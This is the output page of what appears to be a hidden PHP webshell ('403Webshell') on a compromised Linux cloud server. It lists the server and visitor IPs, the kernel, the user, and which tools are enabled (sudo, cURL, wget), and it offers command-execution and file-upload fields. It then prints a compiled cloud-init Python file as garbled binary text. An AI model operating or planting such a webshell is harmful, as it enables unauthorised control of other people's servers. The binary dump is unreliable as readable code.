403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/distros/__pycache__/alpine.cpython-39.pyc
a

�½bm�@sJddlmZmZmZmZddlmZddlmZdZ	Gdd�dej
�Z
dS)�)�distros�helpers�subp�util)�HostnameConf)�PER_INSTANCEa7# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}

c@s�eZdZdgZdZdZdeed�iZdd�Zdd	�Z	d%dd�Z
d
d�Zdd�Zdd�Z
dd�Zd&dd�Zdd�Zdd�Zd'dd�Zdd�Zedd ��Zd(d#d$�Zd
S))�Distroz
rc-servicez/etc/profile.d/locale.shz/etc/network/interfacesZeni)Zeni_pathZ
eni_headercCs6tj�||||�t�|�|_d|_d|_d|d<dS)NzC.UTF-8ZalpineZsshdZssh_svcname)rr�__init__rZRunners�_runner�default_localeZosfamily)�self�nameZcfg�paths�r�</usr/lib/python3.9/site-packages/cloudinit/distros/alpine.pyr	s
zDistro.__init__cCs|jS)zgThe default locale for Alpine Linux is different than
        cloud-init's DataSource default.
        )r�rrrr�
get_locale)szDistro.get_localeNcCsB|s
|j}|s|j}ddddd|ddg}t�|d�|�d�dS)	N�#z?# This file is created by cloud-init once per new instance bootzexport CHARSET=UTF-8zexport LANG=%szexport LC_COLLATE=C��
�)r�locale_conf_fnr�
write_file�join)rZlocaleZout_fn�linesrrr�apply_locale/s�	zDistro.apply_localecCs|��|jd|d�dS)N�add)�pkgs)�update_package_sources�package_command)r�pkglistrrr�install_packagesBszDistro.install_packagescCsRd}z|�|�}Wnty$Yn0|s2td�}|�|�t�|t|�d�dS)Nrr)�_read_hostname_conf�IOErrorrZset_hostnamerr�str)r�hostname�filename�confrrr�_write_hostnameFs
zDistro._write_hostnamecCs|�|j�}|j|fS�N)�_read_hostnameZhostname_conf_fn)rZsys_hostnamerrr�_read_system_hostnameSszDistro._read_system_hostnamecCstt�|��}|��|Sr))rrZ	load_file�parse)rr&r'rrrr"WszDistro._read_hostname_confcCs8d}z|�|�}|j}Wnty*Yn0|s4|S|Sr))r"r%r#)rr&�defaultr%r'rrrr*\s

zDistro._read_hostnamecCsdS)Nz	127.0.1.1rrrrr�_get_localhost_ipgszDistro._get_localhost_ipcCstj||�|�d�dS)N)�tzZtz_file)rZset_etc_timezoneZ
_find_tz_file)rr/rrr�set_timezonejszDistro.set_timezonecCs�|durg}dg}|�d�|r6t|t�r6|�|�n|rNt|t�rN|�|�|r\|�|�|dkrr|�ddg�t�d|�}|�|�tj|dd�dS)	NZapkz--quietZupgradez--update-cachez--availablez%s-%sF)Zcapture)�append�
isinstancer$�list�extendrZexpand_package_listr)r�command�argsr�cmdr rrrrms



zDistro.package_commandcCs|jjd|jdgtd�dS)Nzupdate-sources�update)Zfreq)r
�runrrrrrrr�s�zDistro.update_package_sourcescCs|jsddg|_|jS)z7Allow distro to determine the preferred ntp client listZchronyZntp)Z_preferred_ntp_clientsrrrr�preferred_ntp_clients�s
zDistro.preferred_ntp_clients�poweroff�nowc
Csp|dg}|dkr|dg7}nPz|�tt|�d��Wn4tyj}ztd|f�|�WYd}~n
d}~00|S)Nz-dr<�0�<z?power_state[delay] must be 'now' or '+m' (minutes). found '%s'.)r1r$�int�
ValueError�	TypeError)r�modeZdelay�messager5�errr�shutdown_command�s���zDistro.shutdown_command)N)N)NN)r;r<N)�__name__�
__module__�__qualname__Zinit_cmdrZnetwork_conf_fn�NETWORK_FILE_HEADERZrenderer_configsr	rrr!r(r+r"r*r.r0rr�propertyr:rErrrrrs(
�





rN)Z	cloudinitrrrrZ"cloudinit.distros.parsers.hostnamerZcloudinit.settingsrrIrrrrr�<module>	s

Youez - 2016 - github.com/yon3zu
LinuXploit